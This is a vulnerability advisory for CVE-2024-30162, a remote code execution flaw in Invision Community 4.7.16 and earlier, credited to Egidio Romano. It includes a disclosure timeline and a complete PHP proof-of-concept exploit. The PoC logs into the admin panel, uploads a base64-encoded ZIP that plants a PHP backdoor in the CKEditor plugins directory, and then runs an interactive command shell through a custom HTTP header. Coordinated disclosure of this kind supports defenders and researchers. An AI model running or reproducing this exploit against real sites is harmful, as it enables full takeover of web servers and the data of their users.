Invision Community 4.7.16 Remote Code Execution

------------------------------------------------------------------------------Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability------------------------------------------------------------------------------[-] Software Link:https://invisioncommunity.com[-] Affected Versions:Version 4.7.16 and prior versions.[-] Vulnerability Description:The vulnerability is located in the/applications/core/modules/admin/editor/toolbar.php script.Specifically, into theIPS\core\modules\admin\editor\_toolbar::addPlugin() method, which willhandlethe upload of a ZIP file, trying to extract its content into the/applications/core/interface/ckeditor/ckeditor/plugins/ directory; ifthe ZIP archive does not includea plugin.js file, then the extracted ZIP content will be recursivelydeleted from the file system,otherwise it will stay there. This can be exploited to executearbitrary PHP code by uploading aZIP archive containing a plugin.js file (which can also be empty)along with a PHP file. Successfulexploitation of this vulnerability requires an Administrator accounthaving the "toolbar_manage" permission.[-] Proof of Concept:https://karmainsecurity.com/pocs/CVE-2024-30162.php[-] Solution:No official solution is currently available.[-] Disclosure Timeline:[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure[12/03/2024] - Version 4.7.16 released, but the issue is still not fixed[20/03/2024] - CVE identifier requested[24/03/2024] - CVE identifier assigned[05/04/2024] - Coordinated public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2024-30162 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Other References:https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/[-] Original Advisory:http://karmainsecurity.com/KIS-2024-03-----------------------PoC:<?php/*    ------------------------------------------------------------------------------    Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability    ------------------------------------------------------------------------------    author..............: Egidio Romano aka EgiX    mail................: n0b0d13s[at]gmail[dot]com    software link.......: https://invisioncommunity.com    +-------------------------------------------------------------------------+    | This proof of concept code was written for educational purpose only.    |    | Use it at your own risk. Author will be not responsible for any damage. |    +-------------------------------------------------------------------------+    [-] Vulnerability Description:    The vulnerability is located in the /applications/core/modules/admin/editor/toolbar.php script.    Specifically, into the IPS\core\modules\admin\editor\_toolbar::addPlugin() method, which will    handle the upload of a ZIP file, trying to extract its content into the    /applications/core/interface/ckeditor/ckeditor/plugins/ directory; if the ZIP archive does    not include a plugin.js file, then the extracted ZIP content will be recursively deleted    from the file system, otherwise it will stay there. This can be exploited to execute    arbitrary PHP code by uploading a ZIP archive containing a plugin.js file (which can    also be empty) along with a PHP file. Successful exploitation of this vulnerability    requires an Administrator account having the "toolbar_manage" permission.    [-] Original Advisory:    https://karmainsecurity.com/KIS-2024-03*/set_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[-] cURL extension required!\n");if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Email> <Password>\n\n");$url = $argv[1];$email = $argv[2];$passwd = $argv[3];$ch = curl_init();@unlink('./cookies.txt');curl_setopt($ch, CURLOPT_HEADER, true);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');print "[+] Logging into AdminCP\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=system&controller=login");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");curl_setopt($ch, CURLOPT_POSTFIELDS, "csrfKey={$csrf[1]}&auth=".urlencode($email)."&password={$passwd}&_processLogin=usernamepassword");if (!preg_match("/303 See Other/i", curl_exec($ch))) die("[-] Login failed!\n");print "[+] Uploading malicious ZIP file\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=editor&controller=toolbar&do=addPlugin");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");$plg = md5(time()).".zip";@file_put_contents("rce.zip", base64_decode("UEsDBAoDAAAAADxvKFgecSjnMgAAADIAAAAJAAAAaW5kZXgucGhwPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VSVkVSWydIVFRQX0MnXSkpOyA/PgpQSwMECgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAAABwbHVnaW4uanNQSwECPwMKAwAAAAA8byhYHnEo5zIAAAAyAAAACQAkAAAAAAAAACCAtIEAAAAAaW5kZXgucGhwCgAgAAAAAAABABgAgMvlSzJC2gGAy+VLMkLaAYDL5UsyQtoBUEsBAj8DCgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAJAAAAAAAAAAggLSBWQAAAHBsdWdpbi5qcwoAIAAAAAAAAQAYAAC84E4yQtoBALzgTjJC2gEAvOBOMkLaAVBLBQYAAAAAAgACALYAAACAAAAAAAA="));$params = ["csrfKey" => $csrf[1], "form_submitted" => 1, "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg)];curl_setopt($ch, CURLOPT_POSTFIELDS, $params);if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Upload failed!\n");print "[+] Launching shell\n";curl_setopt($ch, CURLOPT_URL, "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/");curl_setopt($ch, CURLOPT_POST, false);$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";while(1){  print "\ninvision-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode(sprintf($phpcode, base64_encode($cmd)))]);  preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");}